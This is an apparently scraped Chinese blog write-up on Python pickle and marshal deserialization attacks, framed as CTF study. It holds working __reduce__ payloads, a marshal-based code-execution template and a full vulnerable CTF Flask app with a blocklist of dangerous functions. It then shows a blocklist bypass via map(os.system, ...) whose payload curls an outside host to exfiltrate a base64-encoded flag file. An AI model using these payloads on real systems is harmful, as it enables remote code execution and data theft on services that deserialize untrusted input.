python pickle命令执行与marshal 任意代码执行
1.python pickle反序列化漏洞
自己的理解:
由于在类的__reduce__方法中提供了我们可以自定义程序如何去解序列化的方法,因此如果应用程序接受了不可信任的序列化的数据,那么就可能导致安全问题。
import pickle
import os
class gen(object):
def __reduce__(self):
s = """dir"""
return os.system, (s,) p = gen()
payload = pickle.dumps(p)
with open('payload.pkl', 'wb') as f:
f.write(payload)
以上这段代码中,要调用os模块的system函数来执行dir命令,其中reduce函数中的返回值中需要定义的有要调用的函数,需要传给函数的参数(以元组的形式给出);
接着只需要将该对象实例化后再序列化即可
import pickle
'''
some code
'''
pickle.load(open('./payload.pkl'))
'''
some code
'''
假设以上这段代码是服务器端处理反序列数据的时候的操作,其中没有将要调用的对象函数进行过滤,而是直接进行解序列化,导致代码执行 os.system("dir") 。
2.pickle任意代码执行
import marshal
import base64 def foo():
pass # Your code here print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
我们只需要在foo函数中写上需要执行的代码即可。
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
执行以上函数便可以触发任意代码执行漏洞
from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile SECRET_KEY = 'you will never guess' if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
f.write(secret)
with open(".secret", "r") as f:
cookie_secret = f.read().strip() app = Flask(__name__)
app.config.from_object(__name__) black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] @app.before_request
def count():
session['cnt'] = 0 @app.route('/')
def home():
remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'
new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('index.html', txt=remembered_str, location=location) @app.route('/clear')
def clear():
print("Reminder cleared!")
response = redirect(url_for('home'))
response.set_cookie('location', max_age=0)
return response @app.route('/reminder', methods=['POST', 'GET'])
def reminder():
if request.method == 'POST':
location = request.form["reminder"]
if location == '':
print("Message cleared, tell us when you have found more brains.")
else:
print("We will remember where you find your brains.")
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
print 'location'
return response
location = getlocation()
if location == False:
return redirect(url_for("clear"))
return render_template('reminder.html') class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'The callable object {value} is not allowed'.format(value=str(value))) class TimesException(Exception):
def __init__(self):
super(TimesException, self).__init__(
'Call func too many times!') def _hook_call(func):
def wrapper(*args, **kwargs):
session['cnt'] += 1
print session['cnt']
print args[0].stack
for i in args[0].stack:
if i in black_type_list:
raise FilterException(args[0].stack[-2])
if session['cnt'] > 4:
raise TimesException()
return func(*args, **kwargs)
return wrapper def loads(strs):
reload(pickle)
files = StringIO(strs)
unpkler = pickle.Unpickler(files)
print strs,files,unpkler
unpkler.dispatch[pickle.REDUCE] = _hook_call(
unpkler.dispatch[pickle.REDUCE])
return unpkler.load() def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
print (digest, location),calc_digest(location, cookie_secret)
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
print("Hey! This is not a valid cookie! Leave me alone.") return False
location = loads(b64d(location))
return location def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest() if __name__ == '__main__': app.run(host="0.0.0.0", port=5051)
以上面这道ctf题目为例子,可以看到当我们访问reminder页面时(post方法),首先会获取http头部的location属性,然后经过pickle序列化并进行base64编码,然后调用make_cookie函数用为用户设置cookie值,然后跳转到home页面
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)
当我们以get方法访问remainder页面时,此时调用getlocation()
def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
print (digest, location),calc_digest(location, cookie_secret)
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
print("Hey! This is not a valid cookie! Leave me alone.") return False
location = loads(b64d(location))
return location
此时从cookie中获取location的值,此时会将location的值和密码再进行计算hash然后和从用户处获得的hash值进行比较,如果两者相同的话则说明身份正确。
由于我们是提前不知道密钥的值,并且已知密钥的长度为4,并且location是可控的,那么首先将payload通过post方法到remainder页面以后将会获得一个location的cookie值,此时包含了经过hash的密钥和location,又因为location是我们
已知的,所以可以在本地爆破四位密钥,因为我们最终要利用的是loads函数,它要接收的是一个经pickle序列化后的对象,所以我们必须在本地构造好cookie,所以才需要爆破密钥的值。
因此,构造一个任意的location,就能得到一个hash值,然后经过爆破以后得到密钥指,然后把payload的base64的值和密钥值hash以后组成cookie值get到readminer页面,触发序列化漏洞。
这里因为有黑名单过滤,所以可以使用map函数绕过
class Test(object):
def __init__(self):
self.a = 1
self.b = ''
self.c = ''
def __reduce__(self):
return map,(os.system,["curl h7x7ty.ceye.io/`cat /flag_is_here|base64`"]) aa = Test()
payload = b64e(pickle.dumps(aa))
python pickle命令执行与marshal 任意代码执行的更多相关文章
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
Struts 2的远程任意代码执行和重定向漏洞,是这两天互联网上最重大的安全事件,据说国内互联网企业中,很多电商纷纷中招,应该已经有大规模的用户隐私泄露.这里我们简单总结下怎样在自己机子上重现这些漏洞 ...
- Git漏洞允许任意代码执行(CVE-2018-17456)复现
Git漏洞允许任意代码执行(CVE-2018-17456) 国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节.10月5日,Git项目披露了一个漏洞,编号为C ...
- PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案
首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_ ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- 修复Apache Log4j任意代码执行漏洞安全风险通告
2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- 转载--Typecho install.php 反序列化导致任意代码执行
转载--Typecho install.php 反序列化导致任意代码执行 原文链接(http://p0sec.net/index.php/archives/114/) 0x00 前言 漏洞公布已经过去 ...
- php 168任意代码执行漏洞之php的Complex (curly) syntax
今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...
- [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行
0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...
随机推荐
- 看了这篇Dubbo RPC面试题,让天下没有难面的面试题!
前言: RPC非常重要,很多人面试的时候都挂在了这个地方!你要是还不懂RPC是什么?他的基本原理是什么?你一定要把下边的内容记起来!好好研究一下!特别是文中给出的一张关于RPC的基本流程图,重点中 ...
- kali linux之被动信息收集(dns信息收集,区域传输,字典爆破)
公开可获取的信息,不与目标系统产生交互,避免留下痕迹 下图来自美军方 pdf链接:http://www.fas.org/irp/doddir/army/atp2-22-9.pdf 信息收集内容(可利用 ...
- 洛谷P2763 试题库问题(最大流)
传送门 网络流界的一股清流啊……终于没那么变态了…… 考虑一下怎么建图.对于每一个类型,我们从$S$向他连边,容量为它所需的题数,表明它要可以有这么多题,对于每一道题目,我们从它对应的类型向他连边,容 ...
- Web Service入门
[IT168 技术文档] 一.什么是Web Service? Web Service是构建互联网分布式系统的基本部件.Web Services 正成为企业应用集成(Enterprise App ...
- gitlab 服务器的搭建与使用全过程(二)
<gitlab操作手册 1.0 > 此手册适用于 Mac 计算机 第一步:根据从管理员得到的用户名和初始密码登陆并修改密码.新密码不得少于8个字符 第二步:在自己的电脑上创建密钥,并提交提 ...
- 使用navicat将mysql转换成sqlserver
使用navicat将mysql转换成sqlserver 1. 打开navicat,连接所需要装换的mysql数据库. 2. 选择所需要转换的数据源,点击右键选择数据传输.如图: 3. 打开数据传输面板 ...
- Python之freshman05
一:内建模块 time和datetime(http://www.jb51.net/article/49326.htm) 在Python中,通常有这几种方式来表示时间:1)时间戳 2)格式化的时间字符串 ...
- rest-assured的xmlPath使用方法总结
xmlPath的使用方法跟JsonPath的使用方法相近,下面简单总结一下: 准备xml文件数据: <records> <car name='HSV Maloo' make='Hol ...
- JAVA数据结构--插入排序
插入排序(英语:Insertion Sort)是一种简单直观的排序算法.它的工作原理是通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入.插入排序在实现上,通常采用in- ...
- 【贪心】洛谷 P1199 三国游戏 题解
这个题尽管题目长,主要还是证明贪心的正确性(与博弈关系不大) 题目描述 小涵很喜欢电脑游戏,这些天他正在玩一个叫做<三国>的游戏. 在游戏中,小涵和计算机各执一方,组建各自的军队进行对战 ...